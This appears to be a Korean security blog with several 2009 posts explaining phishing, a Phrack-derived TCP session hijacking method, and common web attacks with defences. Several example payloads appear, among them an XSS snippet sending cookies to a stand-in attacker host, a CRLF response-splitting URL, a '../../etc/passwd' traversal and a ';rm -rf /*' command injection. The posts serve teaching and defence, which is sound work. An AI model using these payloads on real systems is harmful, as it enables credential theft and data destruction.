Research2009/03/12 10:11
Phishing은 Fishing과 Private Data의 합성어로서 social engineering을 이용하여 사용자의 중요한 정보를 가로채는 해킹 기법이다. 주로 거짓 e-mail을 사용자에게 전송하여, attacker가 customer로부터 얻고자 하는 데이터가 존재하는 site와 똑같이 위장한 site로 유인하여 사용자의 id, password, credit card number등 financial data를 가로채는데 사용한다.

Phishing은 사실 hacking technique 보다는 사기에 가깝다. 특별히 기술적 장벽이 높은 것이 아니고 누구나 똑 같은 site를 만들어 그 site로 어떤 방법으로든 유인하여 customer로부터 정보를 입력하게 하면 되기 때문이다. 또한 Phishing은 social engineering이기 때문에 이를 기술적으로 방어하는 것은 거의 불가능에 가깝다. 때문에, Phishing을 통한 피해가 크게 증가 하고 있으며, 보안을 연구하는 사람들에게 Phishing의 보안은 가장 큰 이슈가 되어가고 있다.

사용자 삽입 이미지

New Phishing Sites by Month December '04 - December '05 : AntiPhishing.org


이 글에서는 공격자가 사용자를 어떻게 속이는지 그 social engineering을 소개하고 그를 통해 어떻게 phishing으로부터 자신의 중요 데이터를 보호할 수 있는지 소개할 것이다.

위장 사이트로


Phishing 을 하기 전 공격자는 private data를 얻으려는 사이트와 비슷하거나 똑같은 사이트를 제작한다. 이렇게 제작하는 것은 해당 사이트에서 서비스 하고 있는 웹파일들을 그대로 다운로드하여 제작하면 되므로 고도의 공격 기술이 필요한 것이 아니기 때문에 누구나 할 수 있다. 그래서 가장 많은 Phishing 공격 방식이다. 그리고 사용자를 좀 더 잘 속일 수 있기 위해 도메인을 비슷하게 제작하기도 한다.

사용자 삽입 이미지

예전 기업은행 사이트와 똑같은 모양을 가지고 있지만, 사실 기업은행 사이트가 아니다.

위장 이메일

위장된 사이트로 접속을 유도하기 위해 주로 이메일을 사용한다. 그 내용으로는 유명 은행, 카드사 등을 사칭하며 계좌번호, 카드번호, 비밀번호 등의 확인 또는 갱신을 유도하거나 이러한 조치를 취하지 않을 경우 거래가 중지 된다는 식의 소란을 일으키거나 자극적인 문구를 이용한다. 또는, 포털 사이트나 쇼핑몰 등을 사칭해 경품 당첨 안내나 이벤트 참가 등을 유도하며 주민 번호, 핸드폰 번호 등의 개인 정보를 입력하도록 유도하기도 한다. Phishing 사이트로 유도하기 위해 e-mail 내에 하이퍼링크를 넣어 그것을 클릭하면 phishing 사이트로 연결되도록 하는데 사용자를 좀 더 신뢰하게 하기 위하여 figure 3처럼 링크의 이름을 정상 적인 사이트로 설정하고 실제로 연결되는 사이트는 phishing site로 하는 방식을 사용한다.

사용자 삽입 이미지

위장된 Windows Domain Name Setup


MS-Windows에는 로컬에서 로컬에서만 사용하는 별도의 도메인 네임의 설정 방법을 제공하는데 스파이웨어가 이를 수정하여 사용자를 phishing 사이트로 유도시키기도 한다. 일반인에게 이와 같은 설정이 널리 알려지지 않아 의외로 잘 걸리지 않고 오랫동안 지속되는 방식이다. 이 설정은 C:\윈도우 설치 FOLDER\system32\drivers\etc에 hosts 파일로 설정할 수 있으며 [IP Address] [URL]을 설정하면 해당 URL을 입력했을 때 Domain name server에 쿼리하지 않고 이 파일에 있는 대로 연결된다. 이 파일이 스파이웨어를 통해 조작된 모습은 다음 그림을 통해 볼 수 있다.

사용자 삽입 이미지

로컬 도메인 설정


위 그림을 보면 www.daum.net의 실제 IP는 222.231.51.77이지만 61.251.196.31로 설정되어 있는 것을 확인 할 수 있다. 

URL HIjacking

위장된 Windows Domain Name Setup과 같은 동작을 하는 방식으로서 BHO나 기타 스파이웨어가 사용자의 웹연결을 감시하다가 해당 URL로의 연결을 후킹하여 다른 사이트로 변경시키는 기술이다.

Popup Window

어떠한 사이트의 hyperlink를 클릭하여 다른 사이트로 연결 될 때, iframe tag를 이용하여 해당 사이트에 팝업 윈도우를 띄울 수 있다. 사용자는 마치 연결된 사이트에 띄우는 팝업으로 착각하고 그 내용을 신뢰하는 경향이 있는데 이를 이용한 phishing도 많이 존재한다. 주로 성인 사이트 같은 곳에 글을 올려 이 사이트에 접속하면 경품을 준다는 식으로 사용자를 유도한다. 

Phishing 방어 지침
이 외에도 messenger worm이 속임수 메시지와 함께 특정한 url을 전송하여 messenger를 통해 phishing을 유도하는 경우가 과거에 종종 있었으며 기타 phishing을 위한 아주 많은 기술이 존재한다.   이렇게 다양한 phishing 공격과 앞으로 새롭게 생길 수 있는 다른 방법의 공격을 방어하기 위해선아직 기술적으로 완벽하게 방어할 수 있는 방법이 없으므로 다음과 같은 사항을 명심하고 실천해야 한다. 

  • 로그인 과정, 확인 또는 표시 되는 정보가 합법적인 사이트와 같이 정밀해 보이지 않는다면 의심해본다.
  • 필요 이상으로 많은 것을 묻는다. Phishing 사이트는 일반적으로 요구되지 않는 추가적인 확인 정보나 개인 정보를 물어볼 가능성이 크다.
  • Spyware에 감염되지 않았는지, 여러 가지 Spyware 치료 툴로 주기적으로 검사하고 치료한다.
  • 웹 사이트에 접속 할 때 보안 접속을 할 수 있는 버튼이 없다. 합법적인 금융 사이트는 보안 접속을 대부분이 지원한다.
  • 브라우저에서 SSL 인증서 문제를 경고한다. SSL 인증서가 Spoofing되면 브라우저에 보안 경고 메시지가 표시된다. 그 메시지를 무시하지 말고 반드시 인증서을 확인하여 해당 사의 이름이 들어가 있는지 확인해 봐야 하며, 이런 경고는 사기범들이 만든 웹 사이트를 나타내는 명백한 징후로 받아들여야 한다.
  • 메일을 통해 금융 정보를 변경하라는 메일이 온다면 해당 회사에 전화를 걸어 직접 환인해 본 뒤, 메일의 link를 클릭하여 연결하지 말고 웹 브라우저에 직접 url을 입력하여 연결해야 한다.


Reference

     [1] Anti-Phishing Working Group, http://www.antiphishing.org
     [2] Korea Information Security Agency, http://www.kisa.or.kr
Posted by Getroot

Leave your greetings.

Research2009/03/12 10:10
이 글은 권위있는 인터넷 해킹/보안 전자 잡지인 Phrack Magazine의 64호에 1km이 기고한 글을 참고하여 재 구성한 글입니다. 이 글을 보고 깊은 감명을 받아서 글을 쓰기 시작하였습니다. 이 글에서 소개하고 있는 기법 그 자체가 뛰어난 해킹 방법이거나, 높은 테크닉이라서가 아닌, 해커로서 갖춰야할 사물에서 문제를 추출해 낼 수 있는 통찰력 그 자체가 뛰어나기 때문에 많은 사람들과 이 글을 공유하고 싶었습니다. 해킹은 어떤 사실에서 문제를 발견해 낼 수 있는 통찰력과 그 통찰력을 실험해볼 수 있는 기술로 이루어집니다. 기술은 공부를 통해 배울 수 있지만, 통찰력은 쉽게 만들어지는 것이 아닙니다. 몇년 몇날을 계속 생각하고 스스로의 경험과 안목을 키워야 합니다. 예를 들어 파란 약을 먹으면 그림 속으로 들어가고, 빨간 약을 먹으면 그림 밖으로 빠져나온다라는 사실이 있을 때, 해커라면 좀 더 넓은 시야로, 그렇다면 그림 밖에서 빨간약을 먹으면 어떻게 되는가?를 고민해볼 수 있어야 합니다. 각설하고, 다음 소개시켜드리는 해킹 방법은 이런 통찰력이 탁월하게 발휘된 방식이니 한번 같이 보면서 익혀보겠습니다.

본 글의 원문은 http://phrack.org/issues.html?issue=64&id=15#article 를 통해 볼 수 있는데, 어찌된 일인지 지금 접속되지 않습니다.

Introduction

우리가 흔히 쓰는 웹, FTP, 각종 온라인 게임, 메신져 등 거의 대부분의 온라인 서비스는 TCP 프로토콜을 사용합니다. TCP 프로토콜은 연결 지향적이라 보안상 신뢰할 수 있기 때문입니다. 보안상 신뢰할 수 있다는 것은 서버가 A라는 호스트로부터 패킷을 수신하였을 때 A라는 IP를 가진 호스트가 보내는 패킷은 모두 A가 보냈다고 신뢰할 수 있다는 것입니다. 이것은 TCP가 패킷을 주고 받기 위해 Sequence number(SEQ)와 Acknowledgement number(ACK)를 이용하기 때문입니다.

사용자 삽입 이미지


위 그림은 TCP의 초기 연결을 도표화 한 것입니다. 두 호스트(클라이언트, 서버)가 초기에 연결을 맺을 때 3 way handshake 방식을 이용합니다. 3 way handshake 방식은 3개의 약속된 패킷을 주고 받아 연결을 맺는 방식입니다. 처음 연결을 시도할 때 클라이언트와 서버는 Initial Sequence Number(ISN)을 발생시킵니다. 초기 연결을 맺으려고 하는 클라이언트가 ISN 5000을 발생시켜 SEQ에 넣어서 서버에 전송하면 서버는 이 ISN에 전송받은 패킷의 크기를 더해서 ACK에 넣어서 응답 패킷으로 돌려줍니다. 위 그림에서도 서버가 응답하는 패킷의 ACK가 5001이라는 것을 보실 수 있습니다. 클라이언트가 5001이라는 ACK를 받아보면, 진짜 서버에서 돌아온 응답인지 신뢰할 수 있게 됩니다. 서버가 ACK를 넘겨줄 때 서버 또한 ISN을 발생시켜서 SEQ에 넣어서 전송해줍니다. 클라이언트는 이 ISN 패킷을 받아서 받은 패킷 크기를 더해서 다음 응답 패킷의 ACK에 넣어서 넘겨줍니다. 이것을 통해 두 호스트는 서로를 완전하게 신뢰하며 연결되는 것입니다. 이렇게 하지 않으면 1.1.1.1이라는 IP를 달고 나에게 접속을 시도하는(ISN을 전송하는) 호스트가 진짜 1.1.1.1인지 알수가 없습니다. 그렇기 때문에 1.1.1.1에 192931라는 응답을 보내고, 1.1.1.1이 다시 192931이라는 값을 응답하면, 1.1.1.1이 진짜인지 알 수 있게 되는것이죠.

여기서 한가지 의문이 들 수 있습니다. 클라이언트와 서버가 보내는 패킷을 보다가 다음 ACK를 예측하여 IP를 클라이언트의 IP로 수정한 후 순간적으로 클라이언트보다 서버에 먼저 응답한다면 서버는 그 패킷을 받아들이는가 하는 것입니다. 예 맞습니다. 그것이 바로 TCP/IP Hijacking 입니다. 과거에는 꼭 클라이언트와 서버의 패킷을 모니터링 하지 않아도 이 SEQ와 ACK를 어느정도 유추할 수 있는 방법이 있었습니다. 그것은 예전 운영체제가 ISN을 정해진 공식에 의해서 발생시킨다는 것이였는데, 예를 들어 내가 서버에 접속했을 때 ISN이 1000이였다면, 그 다음에 접속할 때 ISN이 1001이 되는 식의 방법이였습니다. ISN만 예측할 수 있다면 내 IP를 바꾸어서 서버에 충분히 접속할 수 있게 됩니다. 만약 서버가 1.1.1.1이라는 IP를 신뢰하여 모든 명령을 받아들이는 상태라면 1.1.1.1로 자신의 IP를 바꾸어 서버에 명령을 내릴 수 있겠죠. 물론 서버의 응답을 받을 순 없지만, 패킷을 받아들이게 하는 것 만으로도 수많은 것을 할 수 있을 것입니다. 하지만 최신 OS는 당연히 ISN을 랜덤하게 발생시켜서 예측할 수 없게 만들고 있습니다. 해커들이 IP-Spoofing과 Hijacking을 구분하는 것은 이와 같이 처음부터 IP를 바꾸어 서버에 접속하는 것을 IP-Spoofing이라고 부르고, 아래 그림과 같이 통신하는 중간에 자신이 패킷을 껴넣어 의도하는 명령을 내리는 것을 Hijacking이라고 구분합니다. 물론 모든 해커들이 이렇게 구분하는 것은 아니고, 이 구분 자체를 하지 않는 해커들도 있습니다.

사용자 삽입 이미지


지금까지 내용으로, 위 그림과 같이 TCP 세션에서 Hijacking을 하려면 어떻게 해야 할까요? 첫번째로 IP를 바꾸고, ACK를 유추해서 서버에 패킷을 보내면 될것입니다. 서버는 ACK만 맞다면 패킷을 받아들여서 정상 사용자가 내린 명령이라고 판단하고 명령을 수행할 것입니다. 관리자의 TELNET 세션을 HIJACKING한다면 서버를 날려버리는 것도 가능할 것입니다. 하지만 ACK를 유추해내는 것은 세션을 실시간으로 모니터링 하지 않는 이상 거의 불가능합니다. 왜냐하면 ACK는 32 bit이므로 2의 32승 만큼의 숫자 범위 내에 있기 때문입니다. 예전 방식으로는 -2의 31승 부터 2의 31승까지 순차적으로 ACK를 만들어 보내는 방법을 사용하였습니다. ACK가 순차적으로 증가하는 버그가 있었기 때문입니다. 하지만 지금은 ACK또한 순차적으로 증가하지 않습니다. 반대로 모니터링 한다면 매우 쉽게 Hijacking할 수 있을 것입니다. ACK가 노출되어 있기 때문입니다. 그래서 세션을 모니터링 할 수 있는 사내망이나 같은 건물의 사용자, 같은 AP 사용자들은 이를 쉽게 할 수 있게 되는 것입니다. 이 사실을 안다면 공공장소에서의 중요한 작업을 자제해야겠습니다.

여기까지의 내용이 지금까지 일반적인 사람들이 생각하는 TCP Hijacking이고 이제는 이 공격으로 부터 안전하다고 많은 사람들이 생각하였습니다. 하지만 이 글을 쓴 1km는 기발한 방법으로 TCP Hijacking을 시도하려고 합니다. 그 방법을 알아보기 전에 미리 알아야 할 것들 몇가지를 더 짚어보겠습니다.

Simple ACK

Simple ACK라는 것은 TCP 헤더에 Payload 사이즈가 50이라고 명시한 패킷이 도착하였지만 Payload가 50이 아닐 경우 Size가 0인 ACK로 에러를 응답하는 것을 말합니다.

Flow control mechanism

플로우 컨트롤은 TCP에서 매우 복잡한 개념입니다. 간단하게 설명하자면 Window라는 사이즈로 플로우를 관리하고, 주어진 시간안에 호스트는 Window 크기 만큼 패킷을 수신해야 한다고 생각하시면 이 글을 이해하는데 큰 문제가 없습니다. 자세한 것은 TCP/IP와 관련된 다른 서적이나 글을 통해 공부해보시기 바랍니다.

TCP Flag

TCP 는 6개의 FLAG를 가지고 있습니다. 각각의 플래그는 1개의 BIT로 켜지고 꺼지는 것으로 TCP 패킷을 속성을 나타냅니다. 각 FLAG는 다음과 같습니다.

SYN - 세션을 설정할 때 사용됩니다.
ACK - SYN에 대한 응답 패킷을 보낼 때 사용됩니다.
FIN  - 세션을 종료시키는데 사용됩니다.
RST - 비 정상적인 세션 끊기에 사용됩니다.
PSH - 패킷을 모두 수신할때까지 기다리지 않고 바로 상위 레이어로 패킷을 전달합니다.
URG - 패킷이 순차적으로 상위 레이어로 올라가는데, 이 플래그가 켜져 있으면 바로 전달합니다.

IP_ID

IP 헤더에 포함되어 있는 16-bit 숫자 입니다. 이것은 패킷별로 유일한 값을 가집니다. IP_ID 값은 패킷당 유일한 값이므로 이 값을 이용하여 IP fragmentation(최대 전송 가능한 크기로 패킷을 쪼개는 것)과 Reassembly(쪼개진 패킷을 다시 합치는데)에 사용합니다. Packet 별로 유일한 값을 가져야 하기 때문에 대부분의 OS는 이 값을 Global로 처리하여 모든 프로세스가 하나의 변수를 바라보게 합니다. Window 98, 2000, XP가 모두 그렇습니다. 생각해보면 이 값은 계속 랜덤하게 바뀌면 오히려 최악의 경우 IP_ID가 같은 두개의 패킷이 생길 수 있으므로, 패킷을 전송할때마다 증가시켜서 사용하는 것이 맞습니다. 또 대부분의 운영체제가 그렇게 관리합니다. 다음 그림과 같이 1개의 PING을 받으면 IP_ID 값이 역시 증가하는 것을 보실 수 있습니다.

사용자 삽입 이미지


Hijacking!!!

Hijacking을 하려면 어떤 정보가 필요할까요? 먼저 Hijacking하려는 두개의 클라이언트와 서버를 알아야 할 것입니다. 만약 A라는 클라이언트가 GETROOT라는 서버에 연결되어 온라인 게임을 즐기고 있다. 이것을 Hijacking 하여 내가 중간에 서버에 명령을 내려야겠다고 한다면 우리는 지금 A 클라이언트의 IP, GETROOT 게임 서버의 IP, PORT를 알수 있는 상태일 것입니다. A라는 클라이언트의 IP는 메신져나 채팅, P2P 게임등을 통해 알아냈다고 가정합니다. 이때 우리가 꼭 알아내야 할것이 A 클라이언트의 통신 중인 Source TCP port 입니다. Source port를 알아내야 GETROOT 서버에 내가 A인척 하면서 패킷을 정상적으로 전달할 수 있을 것입니다. 또 클라이언트의 SEQ와 ACK를 알아내야 합니다. 이 3가지 정보를 정확히 생성할 수 있다면 Hijacking이 성공할 수 있습니다.

클라이언트의 포트 알아내기

사용자 삽입 이미지


클라이언트가 서버와 어떤 포트로 통신하고 있는지 알아내는것만으로도 해킹할 수 있는 여지는 매우 높아집니다. 이것을 알아내는것은 생각보다 매우 쉽습니다. 이 방법은 클라이언트와 서버가 현재 통신중이라는 특성과 IP_ID를 이용합니다.
먼저 공격자가 서버에 클라이언트의 IP와 추정한 포트 번호(1~65535) 까지중 한가지로 속여서 서버에 연결 시도 패킷(SYN)을 전송합니다. 서버에서는 클라이언트의 새로운 연결 시도인 것으로 생각하고 연결에 대한 응답 패킷을 클라이언트로 전송할 것입니다. 이때 서버에서 보내는 Destination port 가 클라이언트에 열려있지 않은 포트라면 클라이언트는 열려있지 않은 포트 번호이므로 서버에 RST 패킷을 보낼 것입니다. 이때 클라이언트의 IP_ID는 패킷을 전송하였기 때문에 증가하게 됩니다. 만약 열려있는 포트라면 현재 연결된 세션에 전송된 패킷이고, 분명히 SEQ와 ACK가 틀릴 것이며 새로운 접속을 맺으려고 하는 것이기 때문에 잘못된 패킷으로 생각해서 응답을 보내지 않고 그냥 무시하게 됩니다. 이때 클라이언트의 IP_ID는 증가하지 않게 될 것입니다. 공격자는 IP_ID를 PING 패킷을 전송하여 확인할 수 있습니다. 클라이언트로 PING을 처음 보냈을 때 1이고 두번째 보냈을때 2라면 1개의 패킷당 1씩 증가한다고 추측할 수 있습니다. 이것을 이용하여 서버에 패킷을 보내고 클라이언트의 IP_ID를 확인하여 더 많은 증가가 있었다면 틀린 PORT, 증가가 없었다면 맞는 PORT라고 예측해낼 수 있는 것입니다. 최악의 경우 65535번 확인해야 하지만, 컴퓨터가 돌려서 확인하는 것이므로 아무리 오래 걸려도 1분이면 확인해 낼 수 있을 것입니다. 이 방법은 클라이언트와 서버가 서로 패킷을 주고 받지 않고 있는 상태(사용자가 쉬고 있거나 하는 상태) 라는 가정이 있습니다.

클라이언트의 SEQ와 ACK 알아내기

클라이언트의 SEQ와 ACK를 알아내기 위해서는 최소한 2^32 * 2^32번의 경우의 수를 모두 해봐야 합니다. 이것은 매우 큰 수 입니다. 이만큼의 시도를 서버에 한다는 것은 매우 큰 문제를 일으킬 수 있습니다. 하지만 이것을 IP_ID를 이용해서 조금은 쉽게 추측해낼 수 있습니다.

클라이언트에 서버로 가장하여 역시 SEQ와 ACK를 전송합니다. 맞지 않다면 SIMPLE ACK를 클라이언트가 서버로 전송할 것입니다. 이것은 IP_ID가 증가한다는 것을 의미합니다. 위의 포트를 알아내는 것과 다른 점은 포트를 알아낼때는 서버가 이미 연결된 세션을 향해 새로운 연결 시도 패킷을(SYN) 보냈다는 것입니다. 클라이언트의 IP_ID가 증가하지 않을때까지 계속 랜덤한 SEQ와 ACK를 전송하는 것으로 이 값들을 구해낼 수 있습니다. 서버에는 아무런 패킷을 전송하지 않아도 된다는 것입니다. 이것은 매우 큰 장점입니다.

더 빨리 SEQ와 ACK를 추측할 수 있는 방법을 제시하는데 제가 이해를 잘 못하는 것인지 Brute force 방법과 크게 다른점이 없어 보입니다. 만약 원문을 읽으시고 Brute force이긴 하지만 시도하는 수를 확 줄일 수 있는 방법을 제시했다면 저에게 알려주시기 바랍니다.

마치며...

이 글을 읽으며 Hijacking이 성공하겠다! 라는 느낌보다는 기존에 아무도 버그라고 생각하지 못했던 IP_ID를 이용해 클라이언트의 포트를 알아내고, SEQ, ACK 추측에 서버가 아닌 클라이언트를 이용할 수 있다는 점에, 그리고 가장 큰 문제였던 SEQ, ACK가 맞는지 아닌지 그 답을 알 수 있게 발전시킨점으로 감명을 받았습니다. 누군가가 이 방식을 조금 더 발전시켜서 SEQ와 ACK도 쉽게 추측해낼 수 있는 방법을 제시할 것으로 보입니다. 몇몇 분들은 IP_ID를 랜덤하게 만들면 되지 않겠느냐고 하는데, 예 그것만으로도 이 방법은 사용할 수 없게 됩니다. 하지만 이미 WINDOW 98, 2000, XP가 이 취약점 아닌 취약점을 가지고 있습니다.

제 글은 출처를 명시한다면 누구나 퍼가실 수 있습니다.
Posted by Getroot

Leave your greetings.

  1. 김재현

    좋은 정보 감사드립니다!

    2009/04/09 01:36 [ Permalink : Modify/Delete : Reply ]

Research2009/03/12 09:46
2.1. SQL Injection
SQL injection 은 사용자의 입력이 back-end database에 바로 전달 될 때, 입력에 sql문을 넣어서 DB를 조작할 수 있는 매우 치명적인 공격 방법입니다.











[Web application]
strID = request.getParameter("id");
strPassword = request.getParameter("password");
result = Query("select count(*) from User" + "where id="  + strID+ "password =" + strPassword);
if(result == 1)
{
echo "로그인 성공";
}
[HTML]
<input type="text" name="id">
<input type="text" name="password">

예를 들어 위와 같이 로그인 하는 코드에서 사용자의 입력을 여과 없이 그대로 받아 들인다고 가정합니다. 이 때 name에 getroot'-- 를 입력한다면 어떤 결과가 발생할까요? 쿼리는 SELECT count(*) from USER where id=getroot'-- password = 과 같이 입력될 것입니다. '--는 sql문에서 주석에 해당하기 때문에 id=getroot 까지만 쿼리문으로 인식되어 패스워드의 입력에 상관없이 무조건 getroot로 로그인되는 것입니다. SQL Injection은 이제 서버사이드의 언어 자체에서 거르는 기능을 통해 크게 발생하고 있지는 않지만, 방어를 우회할 수 있는 많은 응용 방법이 나오고 있고, 아직까지 가장 광범위하게 사용되고 있는 공격 방식입니다. 이를 방어하기 위해서는 HTML로 부터 입력을 받을 때 특수 문자나 여러가지 상황을 고려해 방어하거나, 입력받는 문자를 스트링으로 강제 변환하여 받는 방법 등으로 해결해야 할 것 입니다.

2.2. Cross-site Scripting

Cross-site Scripting은 말 그대로 사이트를 넘어 스크립트를 실행하는 공격을 말합니다. 웹서버를 공격하는 방식이 아닌 사이트를 통해 다른 사용자를 공격하는 것 입니다. 게시판과 같이 동적으로 생성되는 Page에 조작된 코드를 넣어서 다른 사용자에게 공격자가 원하는 코드를 실행하게 하며, 이를 통해 다른 사용자의 쿠기를 자신의 메일로 전송하게 하거나, 다른 사용자에게 악성 코드를 설치하는 등 여러가지 공격을 수행합니다. 몇년 전 한 해커가 리니지 게임의 아이디와 패스워드를 빼내기 위해 리니지 커뮤니티에 악성 코드를 올려놓고, 감염된 사용자의 아이디와 패스워드를 대량으로 빼내가서 사회적으로 큰 이슈가 되었던적이 있었습니다. 그리고 윈도우에서 그래픽 파일을 처리하는 과정에서 발생하는 Buffer overflow를 이용하여 웹에 조작된 그림 파일을 올려놓고, 다른 사용자가 그 그림을 보는 것 만으로도 악성코드가 PC에 설치되게 했던 공격도 있었습니다. 싸이월드의 방문자 추적 시스템도 이와 같은 공격 방식으로 이루어 지는 것이다. Cross-site Scripting은 근복적인 해결책이 없는 공격 방식으로서 굉장히 유의하지 않으면 막기가 힘든 방법입니다.

<script>
String strCookie = Document.GetCookie();
Redirect(http://www.hacker.com/SaveCookie?Data=strCookie);
</script>

이 공격 방식의 예로는 위의 박스와 같은 코드를 자바 스크립트가 동작하는 페이지에 삽입하여, 다른 사용자의 쿠키를 자신의 서버에 저장하는 방식이 있을 수 있습니다. 이와 같은 버그는 예전 대형 포탈 사이트에서도 동작하여 사용자의 많은 정보가 유출되기도 했었습니다.

2.3. HTTP Response Splitting

HTTP Response Splitting 공격은 웹 어플리케이션이 HTTP response가 분리될 수 있는 보안 취약점을 가지고 있다면 응답 메시지를 조작하여 Proxy 서버를 공격자의 의도대로 조작할 수 있는 공격 방식입니다. 공격받은 Proxy 서버를 사용하는 모든 사용자는 조작된 페이지를 보게 될 수 있습니다.

[JSP]
response.sendRedirect("/by_lang.jsp?lang="+request.getParameter("lang"));

만약 JSP에서 위와 같은 코드를 사용한다면 공격자가 다음과 같은 코드를 보내서 프록시에게 응답 패킷이 두개라고 착각하게 만들 수 있습니다.

[공격 코드]
HTTP://victim.com/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a0d%0a<html>Getroot</html>

http://victim.com//index.html

서버사이드에서는 공격 코드에 있는 인자를 그대로 받아서 처리하기 때문에 foobar 이후의 코드를 그대로 응답에 사용하게 될 것입니다. 이 때 공격자가 http://victim.com/index.html을 빠르게 요청하면 프록시 서버에서는 다음과 같이 응답이 온것으로 착각하게 됩니다.

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http:// victim.com /by_lang.jsp?lang=foobar

Content-Length: 0


<index.html 에 매칭>

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

<html>Getroot</html>

따라서 해당 프록시를 사용하는 사용자는 http://victim.com/index.html 에 접근할 때 마다 Getroot 라는 조작된 페이지를 보게 될 것 입니다. 매우 많은 사용자가 사용하는 프록시 서버라면 Cross-site scripting과 결합하여 모든 URL로부터 악성코드가 감염되도록 조작할 수 있을 것입니다.

2.4. Path Traversal
Path Traversal은 웹 페이지에서 전달 받은 인자를 그대로 Path로 사용할 때, 해당 값을 조작하여 원하는 파일에 접근할 수 있게 되는 방식입니다.

[정상적인 URL]

http://www.victim.com/OpenFile.jsp?text.txt


[공격]

http://www.victim.com/OpenFile.jsp?../../etc/passwd


정상적인 URL에서는 text.txt 와 같이 정상적인 파일에 접근하는 것으로 사용하지만, 공격자가 ../../을 사용하므로서 다른 시스템의 오픈되지 않은 다른 디렉토리에 접근할 수 있는 여지가 발생하는 것입니다. 이런 공격을 방어하기 위해서는 사용자의 입력을 그대로 시스템에서 사용하지 말아야 합니다. 이 공격 방식은 현재 거의 대부분 통하지 않겠지만 이를 응용한 다른 방식이 많이 통하고 있다는 것 꼭 명심하고, 사용자의 입력을 시스템에서 그대로 사용하는 것을 최대한 방지해야 합니다.

2.5. Commnad Injection
Commnad Injection은 웹 어플리케이션에서 사용자의 입력을 직접적인 Shell 명령으로 이용할 때 이를 조작하여 원하는 명령을 실행할 수 있는 공격 방식입니다.

[ListFile.php]
Passthru(ls $path);

위와 같이 사용자에게 path라는 인자를 받아서 이를 ls 에 사용하여 원하는 디렉토리의 파일 목록을 보여주는 코드가 있다고 가정하겠습니다. 프로그래머는 당연히 ls 명령이므로 보안상 문제가 없을것이라고 예상하겠지만 다음과 같은 입력을 하여 시스템에 모든 명령을 내릴 수 있습니다.

[공격]
http://www.victim.com/ListFile.php?paht="/etc/;rm -rf /*"

명령어와 명령어 사이에 ; 를 입력하면 두가지 명령어가 순차적으로 수행되는 쉘 기능이 있기 때문에 위 공격 코드는 ls /etc와 rm -rf /* 명령어 두개가 동시에 수행되는 것입니다. 이것은 매우 심각한 보안 문제를 일으킵니다. 이 문제를 해결하기 위해서는 사용자의 입력을 그대로 쉘 명령으로 수행하면 안됩니다. 쿼리문도 마찮가지이고, 어떤 상황에서도 모든 사용자의 입력은 한번 가공해서 처리해야 한다. 

이로서 거의 대부분의 웹 해킹 방식의 원리를 정리하였습니다. 그대로 사용하면 현재는 거의 통하지 않는 공격 방식이지만(실수가 많은 사이트는 아직도 많은 버그가 발견되곤 합니다.) 최신 해킹 기법도 이 틀에서 벗어나지 않고, 응용 수준에서 이루어 지기 때문에 이 원리만 파악하고 방어를 철저히 해놓아도 공격에 쉽게 노출되지 않을 것입니다.

감사합니다.

Posted by Getroot

Leave your greetings.

Research2009/03/12 09:46
1.3. Hidden Field Manipulation

Hidden Field Manipulation 공격은 웹 페이지가 Hidden 태그를 이용하여 값을 웹 어플리케이션으로 전달하는 방법을 이용하는 공격입니다. 본 공격 또한 마찬가지로 웹 페이지를 로컬에 저장한 후 태그 값을 수정하여 실행하는 것 많으로도 공격이 가능합니다. 최근에 나오는 브라우져는 브라우져에서 바로 값을 수정하여 실행시킬 수 있기 때문에 더욱 공격이 쉬워집니다.

실제 코드를 예로 들어 살펴보면 공격은 다음과 같이 이루어 집니다.


[정상적인 HTML 코드]
<input type="hidden" name="price" value="100000">

[수정한 HTML 코드]
<input ytpe="hidden" name="price" value="10">

HTML에서 웹 어플리케이션으로 값을 전달할 때, 프로그래머가 귀찮아서 또는 그리 중요하지 않은 정보라고 생각되어서 위와 같이 처리하는 경우가 많이 있습니다. 하지만 모든 해킹은 중요하지 않은 정보를 조작하므로서 중요한 정보에 영향을 주는 방법으로 이루어진다는 것을 명심해야 하겠습니다. 이 공격을 해결하지 위해서는 아무리 중요하지 않은 정보라도 Hidden 태그로 처리하기 보다는 서버사이드에서 DB와 연동하여 직접 처리해야 합니다.

1.4. HTTP Header Manipulation

HTTP Header Manipulation은 웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케이션이 오동작 하도록 유인하는 공격 방식입니다. 예를 들어 A 사이트를 통해서 B 사이트로 들어오는 정보를 특별하게 처리하기 위해 HTTP Header의 Referer 필드를 이용하는 경우가 있는데 이것은 충분히 조작이 가능합니다.

[HTTP Header]
Get Shell.php
RERFERER http://trust.com

B 사이트에서 Shell.php 요청 명령을 받았을 때, 위 박스에 있는 헤더 처럼 trust.com 사이트를 통해 들어온 명령이면 처리하고 그렇지 않으면 거부하는 코드가 있다고 가정했을 때, 이것은 Victim.com에서도 Header만 변경해서 충분히 수행할 수 있습니다.  이 공격을 방어하기 위해서는 HTTP Header를 신뢰하지 않아야 합니다.

1.5. Cookie Poisoning

Cookie Poisioning은 Cookie를 조작하여 원하는 결과를 도출해 낼 때 사용합니다. Cookie란 웹 사이트의 특정 정보를 저장하는 기법으로 사용자의  PC나 장치에 저장되며 서버에도 저장될 수 있습니다. 보통 Cookie에는 사용자의 정보를 많이 저장하는데 물건을 구매하거나 메일을 보낼 때 Cookie를 사용한다면 이를 조작하여 다른 결과를 도출해 낼 수 있습니다.

[Cookie.txt]
ID=Victim SessionID=102

[Web application]
GetCookie(ID)->Point -= 100000;
GetCookie(ID)->BuyProduct("컴퓨터");

위 예제는 사용자의 정보를 쿠키에 저장한 후, 물건을 구매할 때 서버에서 이 정보를 불러와서 물건을 결제하는 코드입니다. 이때 사용자의 ID는 사용자의 PC에 있는 쿠키에 저장되어 있으므로 이 쿠키를 조작한다면 내가 원하는 사람에게 결제를 하면서 나에게 배송되게 할 수 있는 것입니다. 이를 해결하기 위해서는 세션을 이용하고, 모든 중요한 정보는 서버사이드에서 처리해야 합니다.

1.6. Executable File Upload

